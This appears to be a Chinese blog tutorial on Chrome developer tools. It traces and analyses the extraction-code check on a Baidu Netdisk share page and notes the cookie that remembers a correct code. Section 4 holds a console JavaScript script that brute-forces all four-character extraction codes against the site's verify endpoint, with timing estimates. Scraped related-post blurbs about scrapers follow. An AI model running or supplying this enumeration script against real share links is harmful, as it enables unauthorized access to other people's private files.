开发者工具使用实例

开发者工具使用实例

1、查找事件执行函数

举例

F12打开控制台

在 chrome 的控制台的Element选项卡面板里右侧面板有个 Event Listeners,这里会显示你所选择元素的原生事件。原生事件就是元素上直接onclick="xx"等,如下图。

显示是按事件类型显示的,此处是标准事件click,展开后就是在哪些元素上绑定的,同一行后面超链接可以在Sources选显卡里定位处理过程。这个Dom事件模型要了解。然后紫色的handler就是处理函数,光标在上面就会显示出来。

下面来寻找百度云的那里按钮的处理函数。

右键菜单-Inspect element自动打开开发者控制台并定位在Element选项卡dom树里元素的位置。

在弹出的Elements选项卡右侧面板选择Event Listeners,可以看到click的事件是通过元素id为submitBtn的标签为a来触发的。直接点击挂钩元素后的超链接或者找到handler,在上面右键鼠标选择"Show Function Definition"菜单,来打开处理函数。Js代码本来本来就是让人看到的,只要不是写的太挫就行。。。

2、分析

美化展开如下(使用了Jquery库):


// JavaScript source code

var requestToken = function () {

var A = $("#accessCode").attr("value"),//2222

C = $("#ycode").val(),//""

B = $(".pickcode img:first").attr("verify"),//undefined

_ = function () {

//语法 jQuery.post(url, data, success(data, textStatus, jqXHR), dataType)

$.post(disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=" + (new Date().getTime()), { pwd: A, vcode: C }, function (A) {

//请求成功时执行的回调函数。

var _ = null;

try {

_ = $.parseJSON(A);

} catch (B) {

}

if (_ != null && _.errno == -62) {

$(".ac-close").addClass("ac-open").removeClass("ac-close");

$("#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

verifyCodeLoad();

} else {

if (_ != null && (_.errno == -19 || _.errno == -63)) {

$(".ac-close").addClass("ac-open").removeClass("ac-close");

$("#tip").css("display", "block").text("(\u9a8c\u8bc1\u7801\u9519\u8bef)");//验证码错误

verifyCodeLoad();

} else {

if (_ != null && _.errno == -9) {

$("#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

} else {

if (_ == null || _.errno !== 0) {

$("#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

} else {

location.assign("/share/link" + location.search);

}

}

}

}

});

};

if (A.length == 0) {

$("#tip").text("(\u8bf7\u8f93\u5165\u63d0\u53d6\u5bc6\u7801\u518d\u63d0\u4ea4)").show();//请输入提取密码再提交

return false;

} else {

if (B == "verify" && C.length == 0) {

$("#tip").text("(\u8bf7\u8f93\u5165\u9a8c\u8bc1\u7801)").show();//请输入验证码

return false;

} else {

$("#tip").css("display", "none");

_();//发送请求

}

}

A = A.toLowerCase();

}

看看id为accessCode的元素,Console选项卡里输入$("#accessCode")回车,光标移动到结果上显示位置,如图。


function cookie_delete(name) //删除cookie

{

var exp = new Date();

exp.setTime(exp.getTime() - 1);

var cval = cookie_get(name);

if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString();

}

function cookie_get(name) //读取cookie

{

var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");

if (arr = document.cookie.match(reg))

return unescape(arr[2]);

else

return null;

}

3、测试

对于某ID

有时喜欢使用短地址http://pan.baidu.com/s/1eQzPrjk,即

由于这个测试地址失效重新换了一个,输入一个提取码测试,如下返回结果。其中,返回了一个Set-Cookie,即BDCLND(大概就是百度云盘标识),每次成功都会改变。只要这个cookie存在关闭浏览器重新打开分享的地址就无需输入了,但是根据这个cookie时间貌似很长啊,一个月。

4、代码枚举

如果直接在控制台执行提取码枚举:


(function pwd_enumeration() {

var fixed_url = disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=",

letterTable = "0123456789abcdefghijklmnopqrstuvwxyz",

data_vcode = "",

data_pwd,

post_url;

var pwd_idx0 = 0, pwd_idx1 = 0, pwd_idx2 = 0, pwd_idx3 = 0, maxidx = letterTable.length;

var pwd_enumeration_run = function () {

post_url = fixed_url + (new Date().getTime());

data_pwd = letterTable.charAt(pwd_idx0) + letterTable.charAt(pwd_idx1) + letterTable.charAt(pwd_idx2) + letterTable.charAt(pwd_idx3);

$.post(post_url, { pwd: data_pwd, vcode: data_vcode },

function (data) {

var _ = null;

try {

_ = $.parseJSON(A);

} catch (e) {

}

if (null != _ && 0 == _.errno) {

console.log(data_pwd);

} else {

if (++pwd_idx3 >= maxidx) {

pwd_idx2++;

pwd_idx3 = 0;

}

if (pwd_idx2 >= maxidx) {

pwd_idx1++;

pwd_idx2 = 0;

}

if (pwd_idx1 >= maxidx) {

pwd_idx0++;

pwd_idx1 = 0;

}

if (pwd_idx0 < maxidx) {

setTimeout(pwd_enumeration_run, 1);

} else {

console.log("ends without pwd found.");

}

}

}

);

};

setTimeout(pwd_enumeration_run, 1);

})();

5、评估

如果此时打开,当上千条时就会很卡。。。不建议打开了。平均60ms一次,如果36^4 * 60ms = 100776960ms = 1679.616min = 27.9936h,最坏大约28小时,此页面的控制台进程内存也在涨。估计这个太不值得了,就为了一个提取码。如果纯数字就容易些,最坏10分钟。

在Task Manager(Shift+ECS)可以看到是否一直在执行。

6、

<textarea id="runcode"></textarea >

<input onclick="runEx(‘runcode‘)" type="button" value="运行代码">

function runEx(cod1) { cod=document.getElementById(cod1) var code=cod.value; if (code!=""){ var newwin=window.open(‘‘,‘‘,‘‘); newwin.opener = null newwin.document.write(code); newwin.document.close(); } }

时间: 2024-10-26 06:04:24

开发者工具使用实例的相关文章

爬虫实例——爬取1元夺宝用户头像(借助谷歌浏览器开发者工具)

环境 操作系统:Windows 7 Python版本:2.7.9 过程 打开谷歌浏览器: 打开1元夺宝商品列表页面: 随便点击一个商品,按F12调用开发者工具,选择“Network”标签,筛选“XHR”,再单击页面上的“夺宝参与记录”: 观察开发者工具,找到返回JSON格式数据的URL,如下图: 从上图的URL返回的JSON格式数据我们可以得知参与夺宝的用户数(totalCnt),每个用户的头像链接前缀(avatarPrefix): 随便点击一个用户,从开发者工具中可以得知用户头像的URL是由头

爬虫实例——爬取淘女郎的相册(通过谷歌浏览器的开发者工具找出规律快速爬取)

用正常的方式(selenium.PhantomJS.BeautifulSoup)爬取淘女郎相册不仅困难,效率很低,而且很容易卡死. 我通过谷歌浏览器的开发者工具找出每个页面的规律,快速获取每张照片的链接,再下载,这样效率就很高了. 过程 首页很简单,没有采用JS渲染,直接用requests就能获取完整的源代码,没什么说的. 淘女郎首页采用了JS渲染,直接用requests是获取不到完整的源代码的,此时可以打开谷歌浏览器的开发者工具,主要看“Network”,筛选出“XHR”,如下图: 从上图可知

在 Chrome 开发者工具中调试 node.js

命令行工具 devtool ,它可以在 Chrome 的开发者工具中运行 Node.js 程序. 下面的记录显示了在一个 HTTP 服务器中设置断点的情况. 该工具基于 Electron 将 Node.js 和 Chromium 的功能融合在了一起.它的目的在于为调试.分析和开发 Node.js 应用程序提供一个简单的界面. 你可以使用 npm 来安装它: npm install -g devtool 在某种程度上,我们可以用它来作为 node shell 命令的替代品.例如,我们可以这样打开一

BEGINNING SHAREPOINT&amp;#174; 2013 DEVELOPMENT 第3章节--SharePoint 2013 开发者工具 使用Napa开发SharePoint应用程序

BEGINNING SHAREPOINT? 2013 DEVELOPMENT 第3章节--SharePoint 2013 开发者工具 使用Napa开发SharePoint应用程序 假设你做过SharePoint开发.你会知道构建开发环境要花费时间. 在SharePoint 2010中,你不得不安装在本地一些软件应用程序,如SharePoint.SQL Server,VS等,而且配置你的环境能使用它们.然后要在本地安装的SharePoint实例上调试. SharePoint 2013高速开发则略微

Chrome开发者工具指南:(三、性能篇)

卤煮在前面已经向大家介绍了Chrome开发者工具的一些功能面板,其中包括Elements.Network.Resources基础功能部分和Sources进阶功能部分,对于一般的网站项目来说,其实就是需要这几个面板功能就可以了(再加上console面板这个万精油).它们的作用大多数情况下是帮助你进行功能开发的.然而在你开发应用级别的网站项目的时候,随着代码的增加,功能的增加,性能会逐渐成为你需要关注的部分.那么网站的性能问题具体是指什么呢?在卤煮看来,一个网站的性能主要关乎两项,一是加载性能.二是

Chrome开发者工具不完全指南(四、性能进阶篇)

前言 Profiles面板功能的作用主要是监控网页中各种方法执行时间和内存的变化,简单来说它就是Timeline的数字化版本.它的功能选项卡不是很多(只有三个),操作起来比较前面的几块功能版本来说简单,但是里面的数据确很多,很杂,要弄懂它们需要花费一些时间.尤其是在内存快照中的各种庞杂的数据.在这篇博客中卤煮将继续给大家分享Chrome开发者工具的使用经验.如果你遇到不懂的地方或者有不对的地方,可以在评论中回复卤煮,文章最后卤煮会最后把秘籍交出来.下面要介绍的是Profiles.首先打开Prof

Chrome开发者工具不完全指南:(三、性能篇)

转载于(卖烧烤夫斯基) 卤煮在前面已经向大家介绍了Chrome开发者工具的一些功能面板,其中包括Elements.Network.Resources基础功能部分和Sources进阶功能部分,对于一般的网站项目来说,其实就是需要这几个面板功能就可以了(再加上console面板这个万精油).它们的作用大多数情况下是帮助你进行功能开发的.然而在你开发应用级别的网站项目的时候,随着代码的增加,功能的增加,性能会逐渐成为你需要关注的部分.那么网站的性能问题具体是指什么呢?在卤煮看来,一个网站的性能主要关乎

通过使用Chrome的开发者工具来学习JavaScript

本文作者是Peter Rybin,Chrome开发者工具团队成员. 本文中,我们将通过使用Chrome的开发者工具,来学习JavaScript中的两个重要概念"闭包"和"内部属性". 闭包 首先要讲的是闭包(closure) – JavaScript中最有名的东西之一.一个闭包就是一个使用了外部变量的函数.查看下面的例子: function A(a, b, c) { var ar = [a, b, c]; return function B(i) { return

在chrome开发者工具中观察函数调用栈、作用域链与闭包

在chrome开发者工具中观察函数调用栈.作用域链与闭包 在chrome的开发者工具中,通过断点调试,我们能够非常方便的一步一步的观察JavaScript的执行过程,直观感知函数调用栈,作用域链,变量对象,闭包,this等关键信息的变化.因此,断点调试对于快速定位代码错误,快速了解代码的执行过程有着非常重要的作用,这也是我们前端开发者必不可少的一个高级技能. 当然如果你对JavaScript的这些基础概念[执行上下文,变量对象,闭包,this等]了解还不够的话,想要透彻掌握断点调试可能会有一些困